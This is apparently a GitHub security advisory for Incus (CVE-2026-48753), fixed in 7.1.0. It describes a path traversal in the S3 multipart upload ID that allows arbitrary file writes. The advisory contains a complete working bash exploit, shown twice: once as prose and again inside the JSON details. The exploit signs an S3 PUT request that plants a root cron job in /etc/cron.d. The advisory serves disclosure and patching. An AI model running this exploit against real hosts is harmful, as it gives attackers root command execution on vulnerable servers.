GHSA-CCJC-4QC3-JXQC
Vulnerability from github – Published: 2026-06-26 18:47 – Updated: 2026-06-26 18:47Summary
The S3 protocol upload endpoint is vulnerable to path traversal and allows creation of arbitrary files on the host. This behavior could lead to arbitrary command execution.
In internal/server/storage/s3/local/multipart.go, user-controlled upload ID is appended to the uploads directory unsanitized; https://github.com/lxc/incus/blob/40dd4f151d52c06b178482aa2518abfb9df3e6fb/internal/server/storage/s3/local/multipart.go#L33
PoC
Setup
# Expose the S3 API and create a bucket
incus config set core.storage_buckets_address=:8555
incus storage volume create default bucket
#> note the credentials
Exploitation
The below script was mostly generated.
#!/usr/bin/env bash
set -euo pipefail
if [ $# -lt 4 ]; then
printf 'usage: $0 endpoint bucket access-key secret-key\n' >&2
exit 1
fi
endpoint="${1%/}"
bucket="${2}"
access="${3}"
secret="${4}"
region="us-east-1"
service="s3"
key="anything"
part="1"
upload_id="../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../etc/cron.d"
target="/etc/cron.d/part-00001"
cmd="id > /incus-s3-uploadid-bash-rce; rm -f $target"
body="* * * * * root /bin/sh -c '$cmd'
"
uri_path="$(printf '%s' "$endpoint" | sed -E 's#^[a-z]+://[^/]+##')/$bucket/$key"
uri_path="${uri_path#/}"
uri_path="/$uri_path"
host="$(printf '%s' "$endpoint" | sed -E 's#^[a-z]+://([^/]+).*#\1#')"
qs="partNumber=$part&uploadId=${upload_id//\//%2F}"
url="$endpoint/$bucket/$key?$qs"
amz_date=$(date -u +%Y%m%dT%H%M%SZ)
date_scope="${amz_date:0:8}"
scope="$date_scope/$region/$service/aws4_request"
body_hash=$(printf '%s' "$body" | sha256sum | awk '{print $1}')
signed="host;x-amz-content-sha256;x-amz-date"
canonical="PUT
$uri_path
$qs
host:$host
x-amz-content-sha256:$body_hash
x-amz-date:$amz_date
$signed
$body_hash"
canonical_hash="$(printf '%s' "$canonical" | sha256sum | awk '{print $1}')"
string_to_sign="AWS4-HMAC-SHA256
$amz_date
$scope
$canonical_hash"
hmac_hex() {
printf '%s' "${2}" | openssl dgst -sha256 -mac HMAC -macopt "hexkey:${1}" -binary | xxd -p -c 256
}
k_date=$(printf 'AWS4%s' "$secret" | xxd -p -c 256)
k_date=$(hmac_hex "$k_date" "$date_scope")
k_region=$(hmac_hex "$k_date" "$region")
k_service=$(hmac_hex "$k_region" "$service")
k_signing=$(hmac_hex "$k_service" "aws4_request")
sig=$(hmac_hex "$k_signing" "$string_to_sign")
auth="AWS4-HMAC-SHA256 Credential=${access}/${scope},SignedHeaders=${signed},Signature=${sig}"
printf '# body:\n%s' "${body}"
curl -ksS -X PUT "${url}" \
-H "Host: ${host}" \
-H "X-Amz-Date: ${amz_date}" \
-H "X-Amz-Content-Sha256: ${body_hash}" \
-H "Authorization: ${auth}" \
--data-binary "${body}"
Impact
Arbitrary file write on the host. Possibly leading to arbitrary command execution.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/lxc/incus/v7/cmd/incusd"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "7.1.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-48753"
],
"database_specific": {
"cwe_ids": [
"CWE-73"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-26T18:47:25Z",
"nvd_published_at": null,
"severity": "CRITICAL"
},
"details": "## Summary\n\nThe S3 protocol upload endpoint is vulnerable to path traversal and allows creation of arbitrary files on the host. This behavior could lead to arbitrary command execution.\n\nIn `internal/server/storage/s3/local/multipart.go`, user-controlled upload ID is appended to the uploads directory unsanitized; https://github.com/lxc/incus/blob/40dd4f151d52c06b178482aa2518abfb9df3e6fb/internal/server/storage/s3/local/multipart.go#L33\n\n## PoC\n\n### Setup\n\n```\n# Expose the S3 API and create a bucket\nincus config set core.storage_buckets_address=:8555\nincus storage volume create default bucket\n#\u003e note the credentials\n```\n\n### Exploitation\n\nThe below script was mostly generated.\n\n```\n#!/usr/bin/env bash\nset -euo pipefail\n\nif [ $# -lt 4 ]; then\n\tprintf \u0027usage: $0 endpoint bucket access-key secret-key\\n\u0027 \u003e\u00262\n\texit 1\nfi\n\nendpoint=\"${1%/}\"\nbucket=\"${2}\"\naccess=\"${3}\"\nsecret=\"${4}\"\n\nregion=\"us-east-1\"\nservice=\"s3\"\nkey=\"anything\"\npart=\"1\"\nupload_id=\"../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../etc/cron.d\"\ntarget=\"/etc/cron.d/part-00001\"\ncmd=\"id \u003e /incus-s3-uploadid-bash-rce; rm -f $target\"\nbody=\"* * * * * root /bin/sh -c \u0027$cmd\u0027\n\"\n\nuri_path=\"$(printf \u0027%s\u0027 \"$endpoint\" | sed -E \u0027s#^[a-z]+://[^/]+##\u0027)/$bucket/$key\"\nuri_path=\"${uri_path#/}\"\nuri_path=\"/$uri_path\"\nhost=\"$(printf \u0027%s\u0027 \"$endpoint\" | sed -E \u0027s#^[a-z]+://([^/]+).*#\\1#\u0027)\"\nqs=\"partNumber=$part\u0026uploadId=${upload_id//\\//%2F}\"\nurl=\"$endpoint/$bucket/$key?$qs\"\n\namz_date=$(date -u +%Y%m%dT%H%M%SZ)\ndate_scope=\"${amz_date:0:8}\"\nscope=\"$date_scope/$region/$service/aws4_request\"\nbody_hash=$(printf \u0027%s\u0027 \"$body\" | sha256sum | awk \u0027{print $1}\u0027)\nsigned=\"host;x-amz-content-sha256;x-amz-date\"\n\ncanonical=\"PUT\n$uri_path\n$qs\nhost:$host\nx-amz-content-sha256:$body_hash\nx-amz-date:$amz_date\n\n$signed\n$body_hash\"\ncanonical_hash=\"$(printf \u0027%s\u0027 \"$canonical\" | sha256sum | awk \u0027{print $1}\u0027)\"\nstring_to_sign=\"AWS4-HMAC-SHA256\n$amz_date\n$scope\n$canonical_hash\"\n\nhmac_hex() {\n\tprintf \u0027%s\u0027 \"${2}\" | openssl dgst -sha256 -mac HMAC -macopt \"hexkey:${1}\" -binary | xxd -p -c 256\n}\n\nk_date=$(printf \u0027AWS4%s\u0027 \"$secret\" | xxd -p -c 256)\nk_date=$(hmac_hex \"$k_date\" \"$date_scope\")\nk_region=$(hmac_hex \"$k_date\" \"$region\")\nk_service=$(hmac_hex \"$k_region\" \"$service\")\nk_signing=$(hmac_hex \"$k_service\" \"aws4_request\")\nsig=$(hmac_hex \"$k_signing\" \"$string_to_sign\")\nauth=\"AWS4-HMAC-SHA256 Credential=${access}/${scope},SignedHeaders=${signed},Signature=${sig}\"\n\nprintf \u0027# body:\\n%s\u0027 \"${body}\"\n\ncurl -ksS -X PUT \"${url}\" \\\n\t-H \"Host: ${host}\" \\\n\t-H \"X-Amz-Date: ${amz_date}\" \\\n\t-H \"X-Amz-Content-Sha256: ${body_hash}\" \\\n\t-H \"Authorization: ${auth}\" \\\n\t--data-binary \"${body}\"\n```\n\n\n## Impact\n\nArbitrary file write on the host. Possibly leading to arbitrary command execution.",
"id": "GHSA-ccjc-4qc3-jxqc",
"modified": "2026-06-26T18:47:25Z",
"published": "2026-06-26T18:47:25Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/lxc/incus/security/advisories/GHSA-ccjc-4qc3-jxqc"
},
{
"type": "PACKAGE",
"url": "https://github.com/lxc/incus"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Incus has an arbitrary file write via path traversal in S3 multipart upload"
}
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